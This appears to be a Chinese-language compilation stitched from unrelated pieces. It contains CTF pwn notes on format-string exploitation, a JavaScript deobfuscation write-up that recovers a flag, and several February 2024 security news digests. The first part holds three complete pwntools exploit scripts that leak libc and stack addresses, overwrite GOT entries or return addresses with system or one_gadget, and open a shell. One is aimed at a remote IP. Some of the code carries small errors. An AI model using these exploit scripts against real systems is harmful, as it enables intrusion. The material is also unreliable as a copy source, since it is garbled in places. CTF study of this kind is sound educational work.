offset:控制的第一个格式化程序的偏移
writes:为字典,用于往addr中写入value,例如**{addr:** value, addr2: value2}
numbwritten:已经由printf写入的字节数
write_size:必须是byte/short/int其中之一,指定按什么数据宽度写(%hhn/%hn/%n)
exp如下
from pwn import *
from ctypes import *
from LibcSearcher import *
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('43.142.108.3', 28194)
elf = ELF('./pwn')
libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')
def ga():
rl(b'0x')
return int(p.recvuntil(b',')[:-1], 16)
puts = ga()
printf = ga()
stack = ga()
libc_base = puts - libc.sym['puts']
one_gadget = libc_base + 0x10a2fc
system = libc_base + libc.sym['system']
#gdb.attach(p, 'b *0x400738')
sla(b'it?\n', fmtstr_payload(8, {elf.got['puts']:system, 0x600C80:b'/bin/sh\x00'}))
#pause()
inter()
print(hex(puts), hex(printf), hex(stack))
非栈上的格式化字符串漏洞
这里先贴两张大体的利用思路如下:
间接写地址:间接向栈上某个地址套入地址的值
当程序mian返回时就会执行libc_start_main位置开始及其往下的gadget
1.可以改got表的()
因为只能写第一层指针,所以我们要进行跳板式的写入(一般第一步用有三层指针偏移地址处进行操作),多次间接写入,找与目标改地址很像的位置作为二级跳板可以少改写几位
注意事项:
1.0要改三个或者四个字节的时候我们可以通过多个跳板先改高位再改低位
1.01如果 system 中的数据是 0x7fffffffffff320a,那么执行 (system>>16)&0xff 将得到以下结果:
(system >> 16) = 0x7fff_ffff_ffff
0xff = 0x0000_00ff
---------------------------
0x0000_00ff
因此,这个表达式的结果是十进制数值 255 或十六进制数值 0xff。
1.02一次格式化字符串改写两次的时候要注意第一次输出的字符数对第二次的影响(因此一次输入的时候要减去第一次已经打印的字符数)
1.03与运算0xff是保留最低一位数据以此类推
疑问:
1.1为什么要用next来遍历接收/bin/sh?
使用 next() 方法是因为 pwntools 库的 search() 函数返回的是一个生成器(generator)对象,而非列表。生成器是一种特殊的迭代器,它不会在内存中保存所有元素的值,而是根据需要逐个生成每个值。这种方式可以避免占用太多内存,特别是在搜索大型 ELF 文件时。 由于生成器只能使用一次,因此必须通过调用 next() 方法来逐个获取其中的元素。在本例中,我们只需要获取第一个匹配结果的地址,因此使用 next() 可以方便地获得该地址,并将其与 libc_base 相加得到最终的 sh_addr 值。 如果直接调用 libc.search("/bin/sh"),则无法直接获
1.3如何更改写入的位置?
修改got表的时候:
另外找一个与要修改的got地址相差不大的栈中所存的地方,分别记为A,B,然后第一次布置到A处修改got表X字节,第二次布置到B处修改got表+X字节处的地址,如图所示
第一次修改前
第一次修改后
第二次修改前
第二次修改后
log.success("one_gadget:"+hex(one_gadget_addr))
yes1=str((stack_tar)&0xffff)
yes2=str((one_gadget_addr)&0xffff)
yes3=str((stack_tar+2)&0xffff)
yes4=str((one_gadget_addr>>16)&0xff)
pay='%{}c%{}$hn'.format(yes1,10)
pay2='%{}c%{}$hn'.format(yes2,39)
pay3='%{}c%{}$hn'.format(yes3,10)
pay4='%{}c%{}$hhn'.format(yes4,39)
或者利用一个地址进行多次修改也可以原理跟那个一样
1.2(1)例:
0x7fffffaaa093与0xff处理则只剩最第一字节0x93
不可以修改got表的(开了full ASRL)
思路:改写_libc_main_start成one_gadget(_libc_main_start是main函数退出后会从这里开始执行)
2023铁人三项的fmstr(知识点用到的跟上面一样)
from pwn import *
from ctypes import *
#from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_shell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
p = process('./fmtstr')
#p = remote('1.14.71.254', 28966)
elf = ELF('./fmtstr')
libc= ELF('/home/pwngo/libc-2.33.so')
sla(b'first.\n',b'aaaa')
#debug()
sla(b'password\n',b'aa%16$p..%9$pbb%10$p')
p.recvuntil(b'aa')
elf_base = int(p.recv(14),16)-0x1140
pop_r12_r15=elf_base+0x13fc
p.recvuntil(b'..')
main_start_213=int(p.recv(14),16)
print(hex(main_start_213))
libc_base = main_start_213 - 0xD5(F3或者F0) - libc.symbols['__libc_start_main']
p.recvuntil(b'bb')
stack=int(p.recv(14),16)
log.success("stack:"+hex(stack))
log.success("elf_base:"+hex(elf_base))
log.success("libc_base:"+hex(libc_base))
print(hex(pop_r12_r15))
system = libc_base + libc.sym['system']
log.success("shell:"+hex(system))
# sla(b'',"aaa")
stack_tar=stack-0xf0
#泄露的栈是三级跳板处的栈地址,我们以此为中心根据偏移找不同的栈地址
log.success("stack_tar:"+hex(stack_tar))
#debug()
#下面是根据_libc_main_start改写成one_gadget的脚本
one_gadget_offset=[0xde78c,0xde78f,0xde792]#one_gadget libc版本查看可以利用的gadget
one_gadget_addr=libc_base+one_gadget_offset[1]
log.success("one_gadget:"+hex(one_gadget_addr))
yes1=str((stack_tar)&0xffff))
yes2=str((one_gadget_addr)&0xffff)#0xffff指的是保留末两位字节,详细讲解看上面的解释
yes3=str((stack_tar+2)&0xffff)
yes4=str((one_gadget_addr>>16)&0xff)#右移2位导致&0xff之后取到倒数第三个字节
pay='%{}c%{}$hn'.format(yes1,10)
pay2='%{}c%{}$hn'.format(yes2,39)
pay3='%{}c%{}$hn'.format(yes3,10)#python中的占位符
pay4='%{}c%{}$hhn'.format(yes4,39)
sla(b'again\n',pay)
sla(b'again\n',pay2)
sla(b'again\n',pay3)
sla(b'again\n',pay4)
p.interactive()
(安洵)heap上格式化字符串并且不是改main函数ret返回地址
代码审计
这个for循环说明了我们只是把ptr的字符存在栈上,而每次printf(ptr的时候都是一次格式化字符串)
ralloc函数(与堆操作相关)
realloc函数是C语言标准库中的一个函数,用于重新分配内存块的大小。它可以扩大或缩小一个已分配的内存块,也可以用于在堆上分配新的内存块。 realloc函数的定义如下:
void *realloc(void *ptr, size_t size);
其中,ptr是指向已分配内存块的指针,size是新的内存块大小。realloc函数返回一个指针,指向重新分配后的内存块。 realloc函数的使用流程如下:
如果ptr为NULL,则等价于调用malloc(size),即在堆上分配一个新的内存块并返回指针。
如果size为0,且ptr不为NULL,则等价于调用free(ptr),即释放ptr指向的内存块,并返回NULL。
如果ptr和size都不为NULL,则会重新分配ptr指向的内存块的大小为size,并返回指向重新分配后的内存块的指针。如果重新分配后的内存块大小比原来的大,那么新分配的内存块中的未初始化的部分将是不确定的。如果重新分配失败,则返回NULL,原来的内存块不会被释放。
exp如下:
from pwn import *
from struct import pack
from ctypes import *
import hashlib
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
p = process('./harde_pwn')
#p = remote('47.108.165.60', 42545)
elf = ELF('./harde_pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
c_libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
sa(b'game!\n', p64(0)*4)
c_libc.srand(0)
for i in range(21):
sla(b'input: \n', str((c_libc.rand() ^ 0x24) + 1))
sa(b'input your data ;)\n', b'%8$p%11$p%7$p')
rl(b'0x')
stack = int(p.recv(12), 16)
rl(b'0x')
libc_base = int(p.recv(12), 16) - 243-libc.symbols['__libc_start_main']
ret = stack - 8
ptr = stack - 0x18
rbp = stack - 0x10
rl(b'0x')
heap_base = int(p.recv(12), 16) - 0x2a0
debug()
one_gadget = libc_base + 0xebcf8
printf_ret = ptr - 0x10
print(' printf_ret -> ', hex(printf_ret))
print(' heap_base -> ', hex(heap_base))
print(' stack -> ', hex(stack))
print(' libc_base -> ', hex(libc_base))
for i in range(6):
sa(b'input your data ;)\n', b'%' + str((rbp + i) & 0xffff).encode() + b'c%28$hn\x00')
sa(b'input your data ;)\n', b'%' + str((one_gadget >> i*8) & 0xff).encode() + b'c%41$hhn\x00')
#rbp写成存onegadget
sa(b'input your data ;)\n', b'%' + str(printf_ret & 0xffff).encode() + b'c%28$hn\x00')
sa(b'input your data ;)\n', b'%' + str(0xb1).encode() + b'c%41$hhn\x00')
#改一次rbo
inter()
技巧补充
改大地址:
利用不是在栈上的格式化字符串的时候我们都要明白一个原理:
当你对绿圈的格式化偏移进行修改时,真正被修改的是箭头所指向的低地址处,这也是找跳板的意义
for i in range(6): sa(b'input your data ;)\n', b'%' + str((rbp + i) & 0xffff).encode() + b'c%28$hn\x00') sa(b'input your data ;)\n', b'%' + str((one_gadget >> i*8) & 0xff).encode() + b'c%41$hhn\x00')
像上面一样我们可以每改一次将rbp的地址加**某个数进行错位改大数字,**跟异位伪造doublefree的fd头有相同的思想
有可能可以再利用一次leava或者ret
我们看到rsp现在跟在rbp前3单位处,我们没pop一次(ret)rsp的地址就会增加一个单位,当我们三次pop的时候我们的rsp就会跟rbp重合,从而getshell
【总结】HTML+JS逆向混淆混合
国外的题果然考的与众不同
[secrypt_cen.html]
这次是HTML网页,然后JS加密判断
翻看JS代码
很显然,关键的代码在checkPassword
JS混淆是必备的
去混淆一条龙走起
先将关键代码提取出来
JavaScript
function _0x4857(_0x398c7a, _0x2b4590) { const _0x104914 =
_0x25ec(); _0x4857 = function (_0x22f014, _0x212d58) { _0x22f014 =
_0x22f014 - (0x347 + 0x46a * -0x7 + 0x1cc6); let _0x321373 =
_0x104914[_0x22f014]; return _0x321373; }; return
_0x4857(_0x398c7a, _0x2b4590); } (function (_0x414f9c, _0x3d4799)
{
//...................省略大量代码
} function safe_add(a, b) { var c = (65535 & a) + (65535 & b); return
(a >> 16) + (b >> 16) + (c >> 16) << 16 | 65535 & c } function
bit_rol(a, b) { return a << b | a >>> 32 - b }
使用在线的javascript去混淆即可
http://deobfuscate.relative.im得到去混淆后的结果
function checkPassword(_0x38d32a) {
try {
if (_0x38d32a.length !== 21) {
return false
}
if (
//......省略大量代码
return [c, d, j, k]
}
function md5_cmn(a, b, c, d, e, f) {
return safe_add(bit_rol(safe_add(safe_add(b, a), safe_add(d, f)), e),
c)
}
function md5_ff(a, b, c, d, e, f, g) {
return md5_cmn((b & c) | (~b & d), a, b, e, f, g)
}
function md5_gg(a, b, c, d, e, f, g) {
return md5_cmn((b & d) | (c & ~d), a, b, e, f, g)
}
function md5_hh(a, b, c, d, e, f, g) {
return md5_cmn(b ^ c ^ d, a, b, e, f, g)
}
function md5_ii(a, b, c, d, e, f, g) {
return md5_cmn(c ^ (b | ~d), a, b, e, f, g)
}
function safe_add(a, b) {
var c = (65535 & a) + (65535 & b)
return (((a >> 16) + (b >> 16) + (c >> 16)) << 16) | (65535 &
c)
}
function bit_rol(a, b) {
return (a << b) | (a >>> (32 - b))
}
flag长度21
发现了MD5加密,和两个MD5字符串
看起来无关联?
后来审计整个代码发现,对输入的flag分部分进行判断比较
写出对应的部分,在控制台console输出相关信息是一个不错的选择
function checkPassword(_0x38d32a) {
try {
// Password length is 21.
if (_0x38d32a.length !== 21) {
return false;
}
if (
_0x38d32a.slice(1, 2) !==
(String.fromCodePoint + "")[
parseInt((parseInt + "").charCodeAt(3), 16) - 147
] /* password[1] = 'o' */ ||
_0x38d32a[(parseInt(41, 6) >> 2) - 2] !==
String.fromCodePoint(123) /* password[4] = '{' */ ||
_0x38d32a[4].charCodeAt(0) !==
_0x38d32a[7].charCodeAt(0) + 72 /* password[7] = '3'. */ ||
JSON.stringify(
Array.from(
_0x38d32a.slice(5, 7).split("").reverse().join(),
(_0x2d4d73) => _0x2d4d73.codePointAt(0)
).map((_0x5b85c5) => _0x5b85c5 + 213)
) !==
JSON.stringify([
285, 257, 297,
]) /* password[5] = 'T', password[6] = 'H' password[7] =
'3'*/
) {
return false;
}
/* For password[8], password[9], password[10], password[11]
*/
let _0x3c7a5c = _0x38d32a.slice(8, 12).split("").reverse();
try {
for (let _0x396662 = 0; _0x396662 < 5; _0x396662++) {
_0x3c7a5c[_0x396662] =
_0x3c7a5c[_0x396662].charCodeAt(0) + _0x396662 +
getAdder(_0x396662);
}
} catch (_0x1fbd51) {
_0x3c7a5c = _0x3c7a5c.map(
(_0x24cda7) => (_0x24cda7 += _0x1fbd51.constructor.name.length -
4)
);
}
if (
MD5(String.fromCodePoint(..._0x3c7a5c)) !==
"098f6bcd4621d373cade4e832627b4f6" /* password[8] = '0',
password[9] = 'R', password[10] = '3', password[11] = 'M'
*/
) {
return false;
}
if (
MD5(_0x38d32a.charCodeAt(12) + "") !==
"812b4ba287f5ee0bc9d43bbf5bbe87fb" /* password[12] = '_' */
) {
return false;
}
_0x3c7a5c = (_0x38d32a[8] + _0x38d32a[11]).split("");
_0x3c7a5c.push(_0x3c7a5c.shift());
if (
_0x38d32a.substring(14, 16) !==
String.fromCodePoint(
..._0x3c7a5c.map((_0x5b5ec8) =>
Number.isNaN(+_0x5b5ec8) ? _0x5b5ec8.charCodeAt(0) + 5 : 48
)
) /* password[14] = 'R' password[15] = '0' */ ||
_0x38d32a[_0x38d32a[7] - _0x38d32a[10]] !==
atob("dQ==") /* password[0] = 'u' */ ||
_0x38d32a.indexOf(String.fromCharCode(117)) !==
_0x38d32a[7] - _0x38d32a[17] /* password[17] = '3' */ ||
JSON.stringify(
_0x38d32a
.slice(2, 4)
.split("")
.map(
(_0x7bf0a6) =>
_0x7bf0a6.charCodeAt(0) ^
getAdder.name[_0x38d32a[7]].charCodeAt(0)
)
) !==
JSON.stringify(
[72, 90].map(
(_0x40ab0d) =>
_0x40ab0d ^
String.fromCodePoint.name[_0x38d32a[17] - 1].charCodeAt(0)
)
) /* password[2] = 'f', password[3] = 't' */
) {
return false;
}
if (
String.fromCodePoint(
..._0x38d32a
.split("")
.filter(
(_0x5edfac, _0x2965d2) => _0x2965d2 > 15 && _0x2965d2 % 2 == 0
)
.map(
(_0x2ffa6d) =>
_0x2ffa6d.charCodeAt(0) ^ (_0x38d32a.length + _0x38d32a[7])
)
) !==
atob(
"g5Go"
) /* password[16] = 'V', password[18] = 'D', password[20] =
'}' */
) {
return false;
}
if (
_0x38d32a[_0x38d32a.length - 2] !==
String.fromCharCode(Math.floor((({} + "").charCodeAt(0) + 9) / 3))
||
_0x38d32a[1 + _0x38d32a[7]] !== giggity()[5] /* password[19]
= ! */
) {
return false;
}
return true;
} catch (_0x4d4983) {
return false;
}
}
function getAdder(_0x430c9d) {
switch (_0x430c9d) {
case 0:
return 34;
case 1:
return 44;
case 2:
return 26;
case 3:
return 60;
}
return 101;
}
function giggity() {
return giggity.caller.name;
}
得到flag
uoft{TH30R3M_PR0V3D!}
网络安全日报 2024年02月18日
1、恶意脚本SNS Sender滥用AWS进行批量短信攻击
https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/ 一种名为SNS Sender 的恶意 Python 脚本被宣传为威胁行为者通过滥用 Amazon Web Services (AWS) 简单通知服务 ( SNS ) 发送批量短信的一种方式。短信网络钓鱼消息旨在传播恶意链接,这些链接旨在捕获受害者的个人身份信息 (PII) 和支付卡详细信息,研究人员将其归因于名为 ARDUINO_DAS 的威胁行为者。SNS Sender 也是在野观察到的
2、朝鲜黑客通过YoMix Tumbler清洗被盗的加密货币
https://www.chainalysis.com/blog/2024-crypto-money-laundering/ 朝鲜黑客组织 Lazarus 因多年来实施多次大规模加密货币盗窃而臭名昭著,现已转而使用 YoMix 比特币混合器来洗钱被盗收益。研究人员表示,2023 年,YoMix 出现了大量资金涌入,这并不是因为人气增加,而是因为 Lazarus 的活动。然而,每当一个平台受到制裁并与加密货币空间隔离时,拉撒路就会转向一个新的平台。 YoMix 是朝鲜威胁行为者使用的最新服务。研究人员对2023年洗钱活动向到更多服务存款地址蔓延,加上 Lazarus 集团的新策略,进行了深入分
3、大规模云数据库Zenlayer涉嫌泄露3.8亿条数据
https://www.hackread.com/massive-cloud-database-leak-exposes-380-records 网络安全研究员发现属于全球网络服务提供商 Zenlayer 的云数据库泄漏,该数据库未受到保护且配置错误。其中包含的敏感数据数量多达 3.8 亿条记录。在进一步深入服务器后发现,泄露的信息不仅涵盖了公司的内部运作,而且包含大量是客户数据。总共有 384,658,212 条记录,总计 57.46 GB。这个数据宝库没有受到基本密码的保护。它是公开的,任何人都可以访问,为威胁行为者的潜在利用敞开了大门。Zenlayer 是一家全球网络服务提供商,为电信
4、Zoom修补Windows应用程序中的关键权限提升漏洞
https://www.zoom.com/en/trust/security-bulletin/ZSB-24008/ Zoom 桌面和 VDI 客户端以及 Windows 会议 SDK 容易受到不正确的输入验证缺陷的影响,该缺陷可能允许未经身份验证的攻击者通过网络对目标系统进行权限升级。新披露的漏洞编号为CVE-2024-24691,由 Zoom 的进攻安全团队发现,CVSS v3.1 得分为 9.6,评级为“严重”。Zoom 会自动提示用户更新到最新版本。用户也可以手动下载并安装最新版本的 Windows 桌面客户端版本 5.17.7 。本次更新中除了解决验证不当的缺陷外,最新的 Zoom
5、黑客利用PlayDapp平台被盗私钥窃取17.9亿个加密代币
https://www.bleepingcomputer.com/news/security/hackers-mint-179-billion-crypto-tokens-from-playdapp-gaming-platform/ 黑客使用被盗的私钥铸造并窃取了超过 17.9 亿个 PLA 代币,这是 PlayDapp 生态系统中使用的加密货币。PlayDapp 是一个基于区块链的平台,可在游戏中使用和交易不可替代代币 (NFT),允许用户无需中介即可在各种游戏中购买、出售和交易数字资产。2024 年 2 月 9 日,一个未经授权的钱包铸造了 2 亿枚 PLA 代币,当时价值 3650 万
6、Glupteba僵尸网络利用未记录的UEFI Bootkit逃避检测
https://unit42.paloaltonetworks.com/glupteba-malware-uefi-bootkit/ 研究人员发现Glupteba 僵尸网络包含了之前未记录的统一可扩展固件接口 ( UEFI ) bootkit 功能,为恶意软件增加了另一层复杂性和隐蔽性。这个 bootkit 可以干预和控制 [操作系统] 启动过程,使 Glupteba 能够隐藏自身并创建一种极难检测和删除的隐秘持久性。Glupteba 是一个功能齐全的信息窃取程序和后门,能够促进非法加密货币挖掘并在受感染的主机上部署代理组件。它利用比特币区块链作为备份命令和控制 (C2) 系统,使其能够适应
7、FCC要求电信运营商在30天内报告PII数据泄露事件
https://www.bleepingcomputer.com/news/security/fcc-orders-telecom-carriers-to-report-pii-data-breaches-within-30-days/ 美国联邦通信委员会(FCC)从 2024年 3 月 13 日开始,电信公司必须根据 FCC 更新的数据泄露报告要求,在 30 天内报告影响客户个人身份信息的数据泄露事件。FCC 的最终规则是在2024 年 1 月(一年前的2023 年1 月)发布的几项提案之后制定的,并于 2022 年 1 月首次分发,重点是使委员会的违规通知规则现代化,以便电信运营商必须尽
8、研究人员破解Rhysida勒索软件并免费发布解密工具
https://arxiv.org/abs/2402.06440 研究人员对 2023 年下半年造成重大损害的 Rhysida 勒索软件进行了调查,并提出了一种解密方法。Rhysida与另一个名为 Vice Society 的勒索软件团队有重叠,利用一种称为双重勒索的策略,通过威胁公布被盗数据来向受害者施加压力,迫使其付款。Rhysida 勒索软件采用安全随机数生成器来生成加密密钥,然后对数据进行加密。然而,该勒索软件存在一个实现漏洞,使能够在感染时重新生成随机数生成器的内部状态。研究人员使用重新生成的随机数生成器成功解密了数据。据知,这是 Rhysida 勒索软件首次成功解密。该研究也是继
9、攻击者利用Ivanti漏洞在670多个IT基础设施上安装后门
https://thehackernews.com/2024/02/ivanti-vulnerability-exploited-to.html 攻击者正在利用最近披露的影响 Ivanti Connect Secure、Policy Secure 和 ZTA 网关的安全漏洞,在易受影响的设备上部署代号为DSLog 的后门。研究人员表示在公开发布概念验证 (PoC) 代码后的几个小时内,就观察到了 CVE-2024-21893 的利用情况。DSLog 植入程序有自己的技巧来阻碍分析和检测,包括为每个设备嵌入一个唯一的哈希值,从而使得无法使用该哈希值来联系另一台设备上的相同后门。攻击者向设备发出
10、研究人员持续关注针对Microsoft Azure攻击活动
https://www.darkreading.com/cloud-security/senior-executives-targeted-ongoing-azure-account-takeover 在针对Microsoft Azure 企业云的持续攻击活动中,数十个环境和数百个个人用户帐户已受到损害。该活动在某些方面是分散的而经过精心设计的,涉及数据泄露、财务欺诈、冒充等,针对不同地理区域和行业垂直领域的组织,并针对沿途具有高度战略意义的个人进行量身定制的网络钓鱼。虽然攻击者的做法可能显得投机取巧,但广泛的妥协后活动表明攻击者的复杂程度越来越高。威胁行为者通过从不同的工具包中选择适当的工
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年02月07日
1、RAT恶意软件伪装成赌博相关内容进行传播
https://asec.ahnlab.com/ko/61250/ 研究人员发现RAT恶意软件正在伪装成非法赌博相关文件进行传播。与上个月发布的 VenomRAT 分发方法相同,它通过快捷方式(.lnk)文件进行分发,并直接从 HTA 下载 RAT 恶意软件。确认分发的快捷方式文件包含恶意Powershell命令,并运行MSHTA下载恶意脚本。已确认的诱饵文件还包含与赌博网站相关的信息,并包括一些用户的个人信息。
2、黑客声称窃取HPE公司数据并在黑客论坛出售
https://www.bleepingcomputer.com/news/security/hpe-investigates-new-breach-after-data-for-sale-on-hacking-forum/ 威胁行为者将涉嫌窃取的数据在黑客论坛上出售,声称其中包含 HPE (慧与公司)凭据和其他敏感信息,并在 IntelBroker 分享了一些据称被盗的 HPE 凭证的屏幕截图,这些数据包括:CI/CD 访问、系统日志、配置文件、访问令牌、HPE StoreOnce 文件(序列号授权等)和访问密码。(还包括电子邮件服务)。”慧与公司 (HPE) 正在调查潜在的新漏洞。该公司
3、Pegasus间谍软件攻击约旦记者等活动人士iPhone设备
https://www.accessnow.org/press-release/pegasus-spyware-jordan/ 根据 Access Now 和 Citizen Lab 的联合调查结果,约旦近三成记者、活动人士、人权律师和民间社会成员的 iPhone 已成为 NSO Group 的 Pegasus 间谍软件的目标。35 人中有 9 人已被公开确认为攻击目标,受害者的设备受到了监控软件工具的攻击。NSO 集团表示:“从技术上来说,Pegasus 不可能添加、更改、删除或以其他方式操纵目标移动设备上的数据,或者执行除查看和/或提取某些数据之外的任何其他活动。”尽管做出了这些保证,但
4、Linux基金会与AWS等科技巨头成立后量子密码学联盟
https://www.securityweek.com/tech-giants-form-post-quantum-cryptography-alliance/ Linux 基金会今天宣布成立后量子密码学联盟 (PQCA),该联盟旨在推进和推动后量子密码学的采用。PQCA由 AWS、思科、IBM、IntellectEU、Nvidia、QuSecure、SandboxAQ 和滑铁卢大学创立,将专注于解决量子计算带来的安全挑战。
5、佳能修补小型办公打印机中的 7 个严重漏洞
https://www.securityweek.com/canon-patches-7-critical-vulnerabilities-in-small-office-printers/ 日本电子产品制造商佳能周一宣布了软件更新,修复了影响几种小型办公打印机型号的七个严重漏洞。这些被描述为缓冲区溢出错误的问题可以通过网络进行远程代码执行 (RCE) 或导致易受攻击的产品变得无响应。
6、Android 中的严重远程代码执行漏洞已修复
https://www.securityweek.com/critical-remote-code-execution-vulnerability-patched-in-android/ 谷歌周一宣布修复 Android 中的 46 个漏洞,其中包括一个导致远程代码执行的严重错误。该漏洞编号为 CVE-2024-0031,影响 Android 开源项目 (AOSP) 版本 11、12、12L、13 和 14,已在平台的系统组件中发现。
7、谷歌 TAG 发现的大多数零日漏洞幕后都是商业间谍软件供应商
https://securityaffairs.com/158750/hacking/commercial-spyware-vendors-zero-day.html 谷歌威胁分析小组(TAG)发布的最新报告,题为“购买间谍活动,一份深入报告,深入了解商业监视供应商(CSV)”,商业间谍软件供应商 (CSV) 是 2023 年发现的大多数零日漏洞的幕后黑手。
8、Fortinet FortiSIEM产品中发现两个高危漏洞
https://www.theregister.com/2024/02/06/fortinet_fortisiem_vulns Fortinet 的 FortiSIEM 产品被发现存在两个新的严重漏洞:CVE-2024-23108 和 CVE-2024-23109,允许未经身份验证的攻击者远程执行代码。
9、2023 年教育行业勒索软件攻击激增 92%
https://www.freebuf.com/articles/network/390823.html 2023 年是教育行业有记录以来勒索威胁最严重的一年。根据 ThreatDown 的数据,教育行业遭到的勒索攻击在过去的一年中激增 70%。从 2022 年的 129 起事件,增加到 2023 年的 265 起。
10、 数以千计被盗的 AnyDesk 登录凭证在暗网上出售
https://www.hackread.com/anydesk-logins-credentials-sold-on-dark-web/ 网络安全研究人员在俄语暗网论坛上发现了多个黑客,他们正在积极出售 AnyDesk 帐户,帐户数量从 18000 个到 30000 个不等。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年02月06日
1、攻击者利用假语音邮件作为凭据收集的诱饵
https://www.avanan.com/blog/fake-voicemail-as-credential-harvesting-lure 黑客会尝试一切手段来让受害者点击恶意链接。近期一种策略是使用语音邮件作为诱饵来吸引用户点击。许多公司电话系统都与电子邮件绑定在一起——可以通过电子邮件收听留在电话上的语音邮件。黑客正在利用这一点,将看似语音邮件录音的内容添加到恶意页面的超链接中。 在过去两周内,研究人员发现了 1,000 起此类攻击。 黑客利用虚假的语音邮件链接来窃取凭据。在电子邮件中嵌入 MP3 播放器等模仿语音邮件。 但当单击它时,会被重定向到一个网页,即凭据收集页面。 建议通
2、在多国联合打击全球网络犯罪行动中共31人被捕
https://www.interpol.int/en/News-and-Events/News/2024/INTERPOL-led-operation-targets-growing-cyber-threats 50 个国家/地区的执法部门在针对勒索软件、银行恶意软件和网络钓鱼的全球行动中逮捕了 31 人。该行动名为 Synergia,于 2023 年 9 月至 11 月期间运行,识别出 1,300 多个可疑命令与控制 (C&C) 服务器,其中 70% 已被关闭。国际刑警组织牵头的行动扩展到亚太地区、欧洲、中东和非洲等地区,涉及 50 个参与国家的 60 个执法机构。大多数被关闭的 C&C
3、Uber因处理个人数据缺乏透明度被处以1000万欧元罚款
https://www.securityweek.com/netherlands-fines-uber-over-data-protection/ 荷兰监管机构 (DPA) 对打车应用 Uber 处以 1000 万欧元(1080 万美元)罚款,原因是其司机个人数据处理缺乏透明度。该机构在一份声明中表示:“DPA 发现 Uber 让司机提交查看或接收个人数据副本的请求变得不必要的复杂化。”。Uber当前已采取措施改善情况,并对这一决定提出上诉。该公司在一份声明中表示,DPA“承认 Uber 解决了司机提出的少数‘低影响’问题,同时驳回了他们的绝大多数说法,认为这些说法毫无根据。”
4、三菱电机工厂自动化漏洞允许远程攻击工程工作站
https://www.securityweek.com/mitsubishi-electric-factory-automation-flaws-expose-engineering-workstations/ 日本电子和电气设备制造公司三菱电机生产的工厂自动化产品中发现了两个潜在的严重漏洞。三菱电机在上周发布的一份公告中表示,一些工厂自动化 (FA) 产品受到高严重性身份验证绕过和关键远程代码执行漏洞的影响。
5、谷歌开源基于人工智能辅助的Fuzz框架
https://www.securityweek.com/google-open-sources-ai-aided-fuzzing-framework/ 为了帮助开发人员和研究人员更快地发现漏洞,谷歌发布了开源的人工智能辅助模糊测试框架。该工具利用大型语言模型 (LLM) 为现实世界的 C 和 C++ 项目生成模糊目标,并使用 Google 的 OSS-Fuzz 服务对其进行基准测试,该服务长期以来一直用于自动发现开源软件中的漏洞。
6、专家警告针对 Ivanti SSRF 漏洞的攻击激增
https://securityaffairs.com/158677/hacking/ivanti-ssrf-cve-2024-21893-under-attack.html 编号为 CVE-2024-21893 的 Ivanti SSRF 漏洞在野外攻击中被多个威胁参与者积极利用。上周,Ivanti 警告 其 Connect Secure 和 Policy Secure 解决方案中存在两个新的高严重性漏洞,分别为 CVE-2024-21888(CVSS 评分:8.8)和 CVE-2024-21893(CVSS 评分:8.2)。该软件公司还警告说,这两个漏洞之一正在被积极利用。
7、骗子用"深度伪造"视频通话从一家跨国公司窃取了2550万美元
https://securityaffairs.com/158651/cyber-crime/cyber-heist-with-deepfake-tech.html 诈骗者利用深度伪造视频通话欺骗员工转移资金,成功从香港一家跨国公司窃取了 2 亿港元(约合 2550 万美元)。该员工参加了一次视频电话会议,视频中显示了公司首席财务官 (CFO) 和其他员工,指示他转移资金。
8、新的Mispadu银行木马利用Windows SmartScreen漏洞
https://unit42.paloaltonetworks.com/mispadu-infostealer-variant/ Windows SmartScreen 漏洞 CVE-2023-36025 允许威胁行为者绕过警告并使用精心设计的 .url 文件执行恶意负载,从而给 Windows 用户带来重大安全风险。
9、Windows Server 2025即将引入Linux sudo 功能
https://www.freebuf.com/news/391509.html 目前,微软正在将 Linux 的 "sudo "功能引入 Windows Server 2025,为管理员提升控制台应用程序的权限提供了一种新方法。
10、美国清洁用品巨头高乐氏因网络攻击损失 4900 万美元
